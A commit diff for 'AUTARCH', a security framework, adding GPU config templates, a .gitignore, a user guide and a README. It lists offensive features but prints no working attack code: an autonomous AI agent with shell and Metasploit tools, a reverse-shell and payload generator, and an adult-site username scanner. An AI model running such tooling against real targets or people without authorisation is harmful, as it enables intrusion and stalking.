Autarch Will Control The Internet
This commit is contained in:
46
.config/amd_rx6700xt.conf
Normal file
46
.config/amd_rx6700xt.conf
Normal file
@@ -0,0 +1,46 @@
|
||||
# AUTARCH LLM Configuration Template
|
||||
# Hardware: AMD Radeon RX 6700 XT (12GB VRAM)
|
||||
# Optimized for: GPU inference with ROCm/HIP support
|
||||
#
|
||||
# This configuration is optimized for AMD GPUs using ROCm.
|
||||
# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models.
|
||||
# Requires ROCm drivers and PyTorch with ROCm support.
|
||||
|
||||
[llama]
|
||||
# GGUF Model Settings (llama.cpp)
|
||||
# Note: llama.cpp requires HIP/ROCm build for AMD GPU support
|
||||
# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python
|
||||
model_path =
|
||||
n_ctx = 8192
|
||||
n_threads = 8
|
||||
n_gpu_layers = -1
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 4096
|
||||
seed = -1
|
||||
|
||||
[transformers]
|
||||
# SafeTensors Model Settings (HuggingFace)
|
||||
# ROCm uses 'cuda' device identifier in PyTorch
|
||||
model_path =
|
||||
device = cuda
|
||||
torch_dtype = float16
|
||||
load_in_8bit = false
|
||||
load_in_4bit = false
|
||||
trust_remote_code = false
|
||||
max_tokens = 4096
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repetition_penalty = 1.1
|
||||
|
||||
# Notes:
|
||||
# - 12GB VRAM allows running 13B models at float16
|
||||
# - For 33B+ models, enable load_in_4bit = true
|
||||
# - ROCm support requires specific PyTorch version:
|
||||
# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6
|
||||
# - llama.cpp needs HIP build for GPU acceleration
|
||||
# - If GPU not detected, falls back to CPU (check ROCm installation)
|
||||
# - n_ctx = 8192 works well with 12GB VRAM
|
||||
41
.config/nvidia_4070_mobile.conf
Normal file
41
.config/nvidia_4070_mobile.conf
Normal file
@@ -0,0 +1,41 @@
|
||||
# AUTARCH LLM Configuration Template
|
||||
# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM)
|
||||
# Optimized for: GPU inference with good VRAM management
|
||||
#
|
||||
# This configuration balances performance and memory usage for mobile RTX 4070.
|
||||
# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision
|
||||
# or 13B models with quantization.
|
||||
|
||||
[llama]
|
||||
# GGUF Model Settings (llama.cpp)
|
||||
model_path =
|
||||
n_ctx = 8192
|
||||
n_threads = 8
|
||||
n_gpu_layers = -1
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 4096
|
||||
seed = -1
|
||||
|
||||
[transformers]
|
||||
# SafeTensors Model Settings (HuggingFace)
|
||||
model_path =
|
||||
device = cuda
|
||||
torch_dtype = float16
|
||||
load_in_8bit = false
|
||||
load_in_4bit = false
|
||||
trust_remote_code = false
|
||||
max_tokens = 4096
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repetition_penalty = 1.1
|
||||
|
||||
# Notes:
|
||||
# - n_gpu_layers = -1 offloads all layers to GPU
|
||||
# - For 13B+ models, enable load_in_4bit = true
|
||||
# - float16 is optimal for RTX 4070
|
||||
# - n_ctx = 8192 uses ~2GB VRAM overhead
|
||||
# - Reduce n_ctx to 4096 if running out of VRAM
|
||||
46
.config/orangepi5plus_cpu.conf
Normal file
46
.config/orangepi5plus_cpu.conf
Normal file
@@ -0,0 +1,46 @@
|
||||
# AUTARCH LLM Configuration Template
|
||||
# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM)
|
||||
# Optimized for: CPU-only inference on ARM64
|
||||
#
|
||||
# This configuration is optimized for the Orange Pi 5 Plus running
|
||||
# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores.
|
||||
# Best with quantized GGUF models (Q4_K_M or Q5_K_M).
|
||||
|
||||
[llama]
|
||||
# GGUF Model Settings (llama.cpp)
|
||||
# Recommended: Use Q4_K_M or Q5_K_M quantized models
|
||||
model_path =
|
||||
n_ctx = 2048
|
||||
n_threads = 4
|
||||
n_gpu_layers = 0
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 1024
|
||||
seed = -1
|
||||
|
||||
[transformers]
|
||||
# SafeTensors Model Settings (HuggingFace)
|
||||
# Note: CPU inference is slow with transformers, GGUF recommended
|
||||
model_path =
|
||||
device = cpu
|
||||
torch_dtype = float32
|
||||
load_in_8bit = false
|
||||
load_in_4bit = false
|
||||
trust_remote_code = false
|
||||
max_tokens = 1024
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repetition_penalty = 1.1
|
||||
|
||||
# Notes:
|
||||
# - n_threads = 4 uses only the fast A76 cores (better perf than all 8)
|
||||
# - n_ctx = 2048 balances memory usage and capability
|
||||
# - n_gpu_layers = 0 for pure CPU inference
|
||||
# - Strongly recommend GGUF Q4_K_M models for best speed
|
||||
# - 7B Q4 models use ~4GB RAM, leaving room for system
|
||||
# - max_tokens = 1024 keeps generation times reasonable
|
||||
# - For transformers: CPU with float32 is slow but works
|
||||
# - Avoid 13B+ models unless heavily quantized
|
||||
67
.config/orangepi5plus_mali.conf
Normal file
67
.config/orangepi5plus_mali.conf
Normal file
@@ -0,0 +1,67 @@
|
||||
# AUTARCH LLM Configuration Template
|
||||
# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU
|
||||
# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited
|
||||
#
|
||||
# WARNING: This configuration is experimental!
|
||||
# The Mali-G610 GPU has limited LLM support. Most frameworks
|
||||
# fall back to CPU. This config attempts to leverage what GPU
|
||||
# acceleration is available.
|
||||
|
||||
[llama]
|
||||
# GGUF Model Settings (llama.cpp)
|
||||
# Note: llama.cpp OpenCL backend may provide some acceleration
|
||||
# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python
|
||||
# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev
|
||||
model_path =
|
||||
n_ctx = 2048
|
||||
n_threads = 4
|
||||
n_gpu_layers = 8
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 1024
|
||||
seed = -1
|
||||
|
||||
[transformers]
|
||||
# SafeTensors Model Settings (HuggingFace)
|
||||
# Note: PyTorch has experimental Vulkan backend for mobile GPUs
|
||||
# This is highly experimental and may not work
|
||||
model_path =
|
||||
device = cpu
|
||||
torch_dtype = float32
|
||||
load_in_8bit = false
|
||||
load_in_4bit = true
|
||||
trust_remote_code = false
|
||||
max_tokens = 1024
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repetition_penalty = 1.1
|
||||
|
||||
# EXPERIMENTAL NOTES:
|
||||
#
|
||||
# Mali-G610 GPU Support Status:
|
||||
# - OpenCL: Partial support via CLBlast, may accelerate some layers
|
||||
# - Vulkan: PyTorch vulkan backend is experimental
|
||||
# - Direct Mali: No native support in major LLM frameworks
|
||||
#
|
||||
# To enable OpenCL acceleration for llama.cpp:
|
||||
# 1. Install dependencies:
|
||||
# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev
|
||||
# 2. Install Mali OpenCL driver (if available for your distro)
|
||||
# 3. Rebuild llama-cpp-python with CLBlast:
|
||||
# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall
|
||||
#
|
||||
# n_gpu_layers = 8: Offloads only some layers (conservative)
|
||||
# - Increase if stable, decrease if crashes
|
||||
# - Set to 0 if OpenCL not working
|
||||
#
|
||||
# For transformers:
|
||||
# - load_in_4bit = true reduces memory pressure
|
||||
# - CPU inference is the reliable fallback
|
||||
#
|
||||
# Performance Expectations:
|
||||
# - Best case: 20-30% speedup over pure CPU
|
||||
# - Likely case: Similar to CPU or unstable
|
||||
# - Use orangepi5plus_cpu.conf for stable operation
|
||||
86
.gitignore
vendored
Normal file
86
.gitignore
vendored
Normal file
@@ -0,0 +1,86 @@
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
*.egg-info/
|
||||
*.egg
|
||||
|
||||
# Virtual environments
|
||||
venv/
|
||||
.venv/
|
||||
env/
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# Data & databases (regenerated at runtime)
|
||||
data/cve/*.db
|
||||
data/sites/*.db
|
||||
data/uploads/
|
||||
data/hardware/
|
||||
|
||||
# Large files
|
||||
models/
|
||||
*.gguf
|
||||
claude.bk
|
||||
*.mtf
|
||||
|
||||
# Results (user-generated)
|
||||
results/
|
||||
dossiers/
|
||||
|
||||
# OSINT scan results
|
||||
*_profiles.json
|
||||
|
||||
# Secrets & config with credentials
|
||||
.env
|
||||
*.pem
|
||||
*.key
|
||||
|
||||
# Node
|
||||
node_modules/
|
||||
|
||||
# Gradle
|
||||
.gradle/
|
||||
gradle-*/
|
||||
|
||||
# Bundled tools (large binaries)
|
||||
tools/
|
||||
|
||||
# Android SDK tools (bundled binaries)
|
||||
android/
|
||||
|
||||
# Build artifacts
|
||||
dist/
|
||||
build/
|
||||
build_temp/
|
||||
release/
|
||||
*.spec.bak
|
||||
*.zip
|
||||
|
||||
# Local utility scripts
|
||||
kill_autarch.bat
|
||||
|
||||
# OS files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Claude Code
|
||||
.claude/
|
||||
|
||||
# Development planning docs
|
||||
phase2.md
|
||||
|
||||
# Snoop data
|
||||
snoop/
|
||||
data/sites/snoop_full.json
|
||||
|
||||
# Custom user data (optional - users may want to track these)
|
||||
# custom_adultsites.json
|
||||
# custom_sites.inf
|
||||
# custom_apis.json
|
||||
588
GUIDE.md
Normal file
588
GUIDE.md
Normal file
@@ -0,0 +1,588 @@
|
||||
# AUTARCH User Guide
|
||||
|
||||
## Project Overview
|
||||
|
||||
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
|
||||
|
||||
### What We Built
|
||||
|
||||
AUTARCH is a modular Python security framework featuring:
|
||||
|
||||
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
|
||||
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
|
||||
- **Metasploit Integration** - Direct MSF RPC control from within the framework
|
||||
- **Modular Architecture** - Plugin-based system for easy extension
|
||||
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
|
||||
|
||||
---
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
dh_framework/
|
||||
├── autarch.py # Main entry point
|
||||
├── autarch_settings.conf # Configuration file
|
||||
├── custom_adultsites.json # Custom adult sites storage
|
||||
├── custom_sites.inf # Bulk import file
|
||||
├── DEVLOG.md # Development log
|
||||
├── GUIDE.md # This guide
|
||||
│
|
||||
├── core/ # Core framework modules
|
||||
│ ├── __init__.py
|
||||
│ ├── agent.py # Autonomous AI agent
|
||||
│ ├── banner.py # ASCII banner and colors
|
||||
│ ├── config.py # Configuration handler
|
||||
│ ├── llm.py # LLM wrapper (llama-cpp-python)
|
||||
│ ├── menu.py # Main menu system
|
||||
│ ├── msf.py # Metasploit RPC client
|
||||
│ └── tools.py # Agent tool registry
|
||||
│
|
||||
└── modules/ # User-facing modules
|
||||
├── __init__.py
|
||||
├── setup.py # First-time setup wizard
|
||||
├── chat.py # Interactive LLM chat (core)
|
||||
├── agent.py # Agent interface (core)
|
||||
├── msf.py # Metasploit interface (offense)
|
||||
├── defender.py # System hardening (defense)
|
||||
├── counter.py # Threat detection (counter)
|
||||
├── analyze.py # Forensics tools (analyze)
|
||||
├── recon.py # OSINT reconnaissance (osint)
|
||||
├── adultscan.py # Adult site scanner (osint)
|
||||
└── simulate.py # Attack simulation (simulate)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Installation & Setup
|
||||
|
||||
### Requirements
|
||||
|
||||
- Python 3.8+
|
||||
- llama-cpp-python (pre-installed)
|
||||
- A GGUF model file for LLM features
|
||||
- Metasploit Framework (optional, for MSF features)
|
||||
|
||||
### First Run
|
||||
|
||||
```bash
|
||||
cd /home/snake/dh_framework
|
||||
python autarch.py
|
||||
```
|
||||
|
||||
On first run, the setup wizard automatically launches with options:
|
||||
1. **Configure LLM** - Set up model for chat & agent features
|
||||
2. **Skip Setup** - Use without LLM (most modules still work)
|
||||
|
||||
### Running Without LLM
|
||||
|
||||
Many modules work without an LLM configured:
|
||||
|
||||
```bash
|
||||
# Skip setup on first run
|
||||
python autarch.py --skip-setup
|
||||
```
|
||||
|
||||
**Modules that work without LLM:**
|
||||
- defender (Defense) - System hardening checks
|
||||
- counter (Counter) - Threat detection
|
||||
- analyze (Analyze) - File forensics
|
||||
- recon (OSINT) - Email, username, domain lookup
|
||||
- adultscan (OSINT) - Adult site scanner
|
||||
- simulate (Simulate) - Port scan, payloads
|
||||
- msf (Offense) - Metasploit interface
|
||||
|
||||
**Modules that require LLM:**
|
||||
- chat - Interactive LLM chat
|
||||
- agent - Autonomous AI agent
|
||||
|
||||
You can configure LLM later with `python autarch.py --setup`
|
||||
|
||||
---
|
||||
|
||||
## Command Line Interface
|
||||
|
||||
### Basic Usage
|
||||
|
||||
```bash
|
||||
python autarch.py [OPTIONS] [COMMAND]
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `-h, --help` | Show help message and exit |
|
||||
| `-v, --version` | Show version information |
|
||||
| `-c, --config FILE` | Use alternate config file |
|
||||
| `--skip-setup` | Skip first-time setup (run without LLM) |
|
||||
| `-m, --module NAME` | Run a specific module directly |
|
||||
| `-l, --list` | List all available modules |
|
||||
| `--setup` | Force run the setup wizard |
|
||||
| `--no-banner` | Suppress the ASCII banner |
|
||||
| `-q, --quiet` | Minimal output mode |
|
||||
|
||||
### Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `chat` | Start interactive LLM chat |
|
||||
| `agent` | Start the autonomous agent |
|
||||
| `scan <target>` | Quick port scan |
|
||||
| `osint <username>` | Quick username OSINT |
|
||||
|
||||
### Examples
|
||||
|
||||
```bash
|
||||
# Show help
|
||||
python autarch.py --help
|
||||
|
||||
# Run a specific module
|
||||
python autarch.py -m chat
|
||||
python autarch.py -m adultscan
|
||||
|
||||
# List all modules
|
||||
python autarch.py --list
|
||||
|
||||
# Quick OSINT scan
|
||||
python autarch.py osint targetuser
|
||||
|
||||
# Re-run setup
|
||||
python autarch.py --setup
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Main Menu Navigation
|
||||
|
||||
### Menu Structure
|
||||
|
||||
```
|
||||
Main Menu
|
||||
──────────────────────────────────────────────────
|
||||
|
||||
[1] Defense - Defensive security tools
|
||||
[2] Offense - Penetration testing
|
||||
[3] Counter - Counter-intelligence
|
||||
[4] Analyze - Analysis & forensics
|
||||
[5] OSINT - Open source intelligence
|
||||
[6] Simulate - Attack simulation
|
||||
|
||||
[99] Settings
|
||||
[98] Exit
|
||||
```
|
||||
|
||||
### Category Details
|
||||
|
||||
#### [1] Defense
|
||||
System hardening and defensive security:
|
||||
- Full Security Audit
|
||||
- Firewall Check
|
||||
- SSH Hardening
|
||||
- Open Ports Scan
|
||||
- User Security Check
|
||||
- File Permissions Audit
|
||||
- Service Audit
|
||||
|
||||
#### [2] Offense
|
||||
Penetration testing with Metasploit:
|
||||
- Search Modules
|
||||
- Use/Configure Modules
|
||||
- Run Exploits
|
||||
- Manage Sessions
|
||||
- Console Commands
|
||||
- Quick Scanners
|
||||
|
||||
#### [3] Counter
|
||||
Counter-intelligence and threat hunting:
|
||||
- Full Threat Scan
|
||||
- Suspicious Process Detection
|
||||
- Network Analysis
|
||||
- Login Anomalies
|
||||
- File Integrity Monitoring
|
||||
- Scheduled Task Audit
|
||||
- Rootkit Detection
|
||||
|
||||
#### [4] Analyze
|
||||
Forensics and file analysis:
|
||||
- File Analysis (metadata, hashes, type)
|
||||
- String Extraction
|
||||
- Hash Lookup (VirusTotal, Hybrid Analysis)
|
||||
- Log Analysis
|
||||
- Hex Dump Viewer
|
||||
- File Comparison
|
||||
|
||||
#### [5] OSINT
|
||||
Open source intelligence gathering:
|
||||
- **recon.py** - Email, username, phone, domain, IP lookup
|
||||
- **adultscan.py** - Adult site username scanner
|
||||
|
||||
#### [6] Simulate
|
||||
Attack simulation and red team:
|
||||
- Password Audit
|
||||
- Port Scanner
|
||||
- Banner Grabber
|
||||
- Payload Generator (XSS, SQLi, etc.)
|
||||
- Network Stress Test
|
||||
|
||||
---
|
||||
|
||||
## Module Reference
|
||||
|
||||
### Core Modules
|
||||
|
||||
#### chat.py - Interactive Chat
|
||||
```
|
||||
Category: core
|
||||
Commands:
|
||||
/help - Show available commands
|
||||
/clear - Clear conversation history
|
||||
/history - Show conversation history
|
||||
/info - Show model information
|
||||
/system - Set system prompt
|
||||
/temp - Set temperature
|
||||
/tokens - Set max tokens
|
||||
/stream - Toggle streaming
|
||||
/exit - Exit chat
|
||||
```
|
||||
|
||||
#### agent.py - Autonomous Agent
|
||||
```
|
||||
Category: core
|
||||
Commands:
|
||||
tools - Show available tools
|
||||
exit - Return to main menu
|
||||
help - Show help
|
||||
|
||||
Available Tools:
|
||||
shell - Execute shell commands
|
||||
read_file - Read file contents
|
||||
write_file - Write to files
|
||||
list_dir - List directory contents
|
||||
search_files - Glob pattern search
|
||||
search_content - Content search (grep)
|
||||
task_complete - Signal completion
|
||||
ask_user - Request user input
|
||||
msf_* - Metasploit tools
|
||||
```
|
||||
|
||||
### OSINT Modules
|
||||
|
||||
#### recon.py - OSINT Reconnaissance
|
||||
```
|
||||
Category: osint
|
||||
Version: 2.0
|
||||
|
||||
Menu:
|
||||
Email
|
||||
[1] Email Lookup
|
||||
[2] Email Permutator
|
||||
|
||||
Username
|
||||
[3] Username Lookup (17+ platforms)
|
||||
[4] Social Analyzer integration
|
||||
|
||||
Phone
|
||||
[5] Phone Number Lookup
|
||||
|
||||
Domain/IP
|
||||
[6] Domain Recon
|
||||
[7] IP Address Lookup
|
||||
[8] Subdomain Enumeration
|
||||
[9] Technology Detection
|
||||
```
|
||||
|
||||
#### adultscan.py - Adult Site Scanner
|
||||
```
|
||||
Category: osint
|
||||
Version: 1.3
|
||||
|
||||
Menu:
|
||||
Scan Categories:
|
||||
[1] Full Scan (all categories)
|
||||
[2] Fanfiction & Story Sites
|
||||
[3] Art & Creative Sites
|
||||
[4] Video & Streaming Sites
|
||||
[5] Forums & Communities
|
||||
[6] Dating & Social Sites
|
||||
[7] Gaming Related Sites
|
||||
[8] Custom Sites Only
|
||||
[9] Custom Category Selection
|
||||
|
||||
Site Management:
|
||||
[A] Add Custom Site (manual)
|
||||
[D] Auto-Detect Site Pattern
|
||||
[B] Bulk Import from File
|
||||
[M] Manage Custom Sites
|
||||
[L] List All Sites
|
||||
|
||||
Sites Database: 50+ built-in sites
|
||||
Categories: fanfiction, art, video, forums, dating, gaming, custom
|
||||
```
|
||||
|
||||
##### Adding Custom Sites
|
||||
|
||||
**Manual Add [A]:**
|
||||
```
|
||||
Site name: MySite
|
||||
URL pattern (use * for username): mysite.com/user/*
|
||||
Detection Method: [1] Status code
|
||||
```
|
||||
|
||||
**Auto-Detect [D]:**
|
||||
```
|
||||
Domain: example.com
|
||||
Test username: knownuser
|
||||
(System probes 17 common patterns)
|
||||
```
|
||||
|
||||
**Bulk Import [B]:**
|
||||
|
||||
1. Edit `custom_sites.inf`:
|
||||
```
|
||||
# One domain per line
|
||||
site1.com
|
||||
site2.net
|
||||
site3.org
|
||||
```
|
||||
|
||||
2. Run Bulk Import and provide test username
|
||||
3. System auto-detects patterns for each domain
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
### Config File: autarch_settings.conf
|
||||
|
||||
```ini
|
||||
[llama]
|
||||
model_path = /path/to/model.gguf
|
||||
n_ctx = 4096
|
||||
n_threads = 4
|
||||
n_gpu_layers = 0
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 2048
|
||||
seed = -1
|
||||
|
||||
[autarch]
|
||||
first_run = false
|
||||
modules_path = modules
|
||||
verbose = false
|
||||
|
||||
[msf]
|
||||
host = 127.0.0.1
|
||||
port = 55553
|
||||
username = msf
|
||||
password =
|
||||
ssl = true
|
||||
```
|
||||
|
||||
### LLM Settings
|
||||
|
||||
| Setting | Default | Description |
|
||||
|---------|---------|-------------|
|
||||
| model_path | (required) | Path to GGUF model file |
|
||||
| n_ctx | 4096 | Context window size |
|
||||
| n_threads | 4 | CPU threads for inference |
|
||||
| n_gpu_layers | 0 | Layers to offload to GPU |
|
||||
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
|
||||
| top_p | 0.9 | Nucleus sampling threshold |
|
||||
| top_k | 40 | Top-K sampling |
|
||||
| repeat_penalty | 1.1 | Repetition penalty |
|
||||
| max_tokens | 2048 | Maximum response length |
|
||||
| seed | -1 | Random seed (-1 = random) |
|
||||
|
||||
### Metasploit Settings
|
||||
|
||||
| Setting | Default | Description |
|
||||
|---------|---------|-------------|
|
||||
| host | 127.0.0.1 | MSF RPC host |
|
||||
| port | 55553 | MSF RPC port |
|
||||
| username | msf | RPC username |
|
||||
| password | (none) | RPC password |
|
||||
| ssl | true | Use SSL connection |
|
||||
|
||||
**Starting msfrpcd:**
|
||||
```bash
|
||||
msfrpcd -P yourpassword -S -a 127.0.0.1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Creating Custom Modules
|
||||
|
||||
### Module Template
|
||||
|
||||
```python
|
||||
"""
|
||||
Module description here
|
||||
"""
|
||||
|
||||
# Module metadata (required)
|
||||
DESCRIPTION = "Short description"
|
||||
AUTHOR = "Your Name"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
from core.banner import Colors, clear_screen, display_banner
|
||||
|
||||
|
||||
def run():
|
||||
"""Main entry point - REQUIRED"""
|
||||
clear_screen()
|
||||
display_banner()
|
||||
|
||||
print(f"{Colors.BOLD}My Module{Colors.RESET}")
|
||||
# Your code here
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
```
|
||||
|
||||
### Available Colors
|
||||
|
||||
```python
|
||||
from core.banner import Colors
|
||||
|
||||
Colors.RED
|
||||
Colors.GREEN
|
||||
Colors.YELLOW
|
||||
Colors.BLUE
|
||||
Colors.MAGENTA
|
||||
Colors.CYAN
|
||||
Colors.WHITE
|
||||
Colors.BOLD
|
||||
Colors.DIM
|
||||
Colors.RESET
|
||||
```
|
||||
|
||||
### Module Categories
|
||||
|
||||
| Category | Color | Description |
|
||||
|----------|-------|-------------|
|
||||
| defense | Blue | Defensive security |
|
||||
| offense | Red | Penetration testing |
|
||||
| counter | Magenta | Counter-intelligence |
|
||||
| analyze | Cyan | Forensics & analysis |
|
||||
| osint | Green | Open source intelligence |
|
||||
| simulate | Yellow | Attack simulation |
|
||||
| core | White | Core framework modules |
|
||||
|
||||
---
|
||||
|
||||
## Agent Tools Reference
|
||||
|
||||
The autonomous agent has access to these tools:
|
||||
|
||||
### File Operations
|
||||
```
|
||||
read_file(path) - Read file contents
|
||||
write_file(path, content) - Write to file
|
||||
list_dir(path) - List directory
|
||||
search_files(pattern) - Glob search
|
||||
search_content(pattern) - Grep search
|
||||
```
|
||||
|
||||
### System Operations
|
||||
```
|
||||
shell(command, timeout) - Execute shell command
|
||||
```
|
||||
|
||||
### User Interaction
|
||||
```
|
||||
ask_user(question) - Prompt user for input
|
||||
task_complete(result) - Signal task completion
|
||||
```
|
||||
|
||||
### Metasploit Operations
|
||||
```
|
||||
msf_connect() - Connect to MSF RPC
|
||||
msf_search(query) - Search modules
|
||||
msf_module_info(module) - Get module info
|
||||
msf_module_options(module) - Get module options
|
||||
msf_execute(module, options) - Execute module
|
||||
msf_sessions() - List sessions
|
||||
msf_session_command(id, cmd) - Run session command
|
||||
msf_console(command) - Direct console
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Issues
|
||||
|
||||
**LLM not loading:**
|
||||
- Verify model_path in autarch_settings.conf
|
||||
- Check file permissions on model file
|
||||
- Ensure sufficient RAM for model size
|
||||
|
||||
**MSF connection failed:**
|
||||
- Verify msfrpcd is running: `msfrpcd -P password -S`
|
||||
- Check host/port in settings
|
||||
- Verify password is correct
|
||||
|
||||
**Module not appearing:**
|
||||
- Ensure module has `CATEGORY` attribute
|
||||
- Ensure module has `run()` function
|
||||
- Check for syntax errors
|
||||
|
||||
**Adult scanner false positives:**
|
||||
- Some sites return 200 for all requests
|
||||
- Use content-based detection for those sites
|
||||
- Verify with a known username
|
||||
|
||||
### Debug Mode
|
||||
|
||||
```bash
|
||||
# Enable verbose output
|
||||
python autarch.py --verbose
|
||||
|
||||
# Check configuration
|
||||
python autarch.py --show-config
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Security Notice
|
||||
|
||||
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
|
||||
|
||||
- Obtaining proper authorization before testing
|
||||
- Complying with all applicable laws
|
||||
- Using tools ethically and responsibly
|
||||
|
||||
**Do not use for:**
|
||||
- Unauthorized access
|
||||
- Harassment or stalking
|
||||
- Any illegal activities
|
||||
|
||||
---
|
||||
|
||||
## Version History
|
||||
|
||||
| Version | Date | Changes |
|
||||
|---------|------|---------|
|
||||
| 1.0 | 2026-01-14 | Initial release |
|
||||
| 1.1 | 2026-01-14 | Added custom site management |
|
||||
| 1.2 | 2026-01-14 | Added auto-detect patterns |
|
||||
| 1.3 | 2026-01-14 | Added bulk import |
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
**Project AUTARCH**
|
||||
By darkHal Security Group and Setec Security Labs
|
||||
|
||||
---
|
||||
|
||||
*For development history, see DEVLOG.md*
|
||||
333
README.md
Normal file
333
README.md
Normal file
@@ -0,0 +1,333 @@
|
||||
```
|
||||
/\
|
||||
/ \
|
||||
/ /\ \
|
||||
/ /__\ \ _ _ _____ _ ____ ____ _ _
|
||||
/ /____\ \ | | | | |_ _| / \ | _ \ / ___| | | | |
|
||||
/ / /\ \ \| | | | | | / _ \ | |_) | | | | |_| |
|
||||
/ / / \ \ \ | | | | | / ___ \| _ < | |___ | _ |
|
||||
\/ / \ \/ \__| | | | / / \ \ | \ \ \____| |_| |_|
|
||||
\_/ \_/\______| |_|/_/ \_\_| \_\ANARCHY IS LIFE
|
||||
``` LIFE IS ANARCHY
|
||||
|
||||
# AUTARCH
|
||||
|
||||
**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking**
|
||||
|
||||
By **darkHal Security Group** & **Setec Security Labs**
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application.
|
||||
|
||||
## Features
|
||||
|
||||
- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring
|
||||
- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming
|
||||
- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring
|
||||
- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis
|
||||
- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites
|
||||
- **Simulate** — Attack simulation, port scanning, password auditing, payload generation
|
||||
- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct)
|
||||
- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing
|
||||
- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel
|
||||
- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups
|
||||
- **Enc Modules** — Encrypted module system for sensitive payloads
|
||||
- **Reverse Shell** — Multi-language reverse shell generator
|
||||
- **WireGuard VPN** — Tunnel management and remote device access
|
||||
- **UPnP** — Automated port forwarding
|
||||
- **Wireshark** — Packet capture and analysis via tshark/pyshark
|
||||
- **MSF Console** — Web-based Metasploit console with live terminal
|
||||
- **Debug Console** — Real-time Python logging output with 5 filter modes
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
autarch.py # Main entry point (CLI + web server)
|
||||
core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.)
|
||||
modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate)
|
||||
web/
|
||||
app.py # Flask app factory (16 blueprints)
|
||||
routes/ # 15 route files
|
||||
templates/ # 16 Jinja2 templates
|
||||
static/ # JS, CSS, WebUSB bundles
|
||||
autarch_companion/ # Archon Android app (Kotlin)
|
||||
data/ # SQLite DBs, JSON configs, stalkerware signatures
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
### From Source
|
||||
|
||||
```bash
|
||||
# Clone
|
||||
git clone https://github.com/digijeth/autarch.git
|
||||
